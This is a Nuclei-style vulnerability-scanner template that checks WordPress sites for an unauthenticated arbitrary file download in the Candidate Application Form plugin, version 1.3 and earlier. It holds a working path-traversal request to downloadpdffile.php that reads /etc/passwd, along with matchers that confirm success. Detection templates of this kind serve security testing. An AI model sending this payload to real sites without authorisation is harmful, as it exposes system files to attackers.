25 lines
754 B
YAML
25 lines
754 B
YAML
id: candidate-application-lfi
|
|
|
|
info:
|
|
name: Candidate Application Form <= 1.3 - Unauthenticated Arbitrary File Download
|
|
author: dhiyaneshDK
|
|
severity: high
|
|
description: The code in downloadpdffile.php does not do any sanity checks, allowing a remote attacker to download sensitive system files.
|
|
reference: https://wpscan.com/vulnerability/446233e9-33b3-4024-9b7d-63f9bb1dafe0
|
|
tags: wordpress,wp-plugin,lfi,wp
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/wp-content/plugins/candidate-application-form/downloadpdffile.php?fileName=../../../../../../../../../../etc/passwd'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: regex
|
|
regex:
|
|
- "root:[x*]:0:0"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|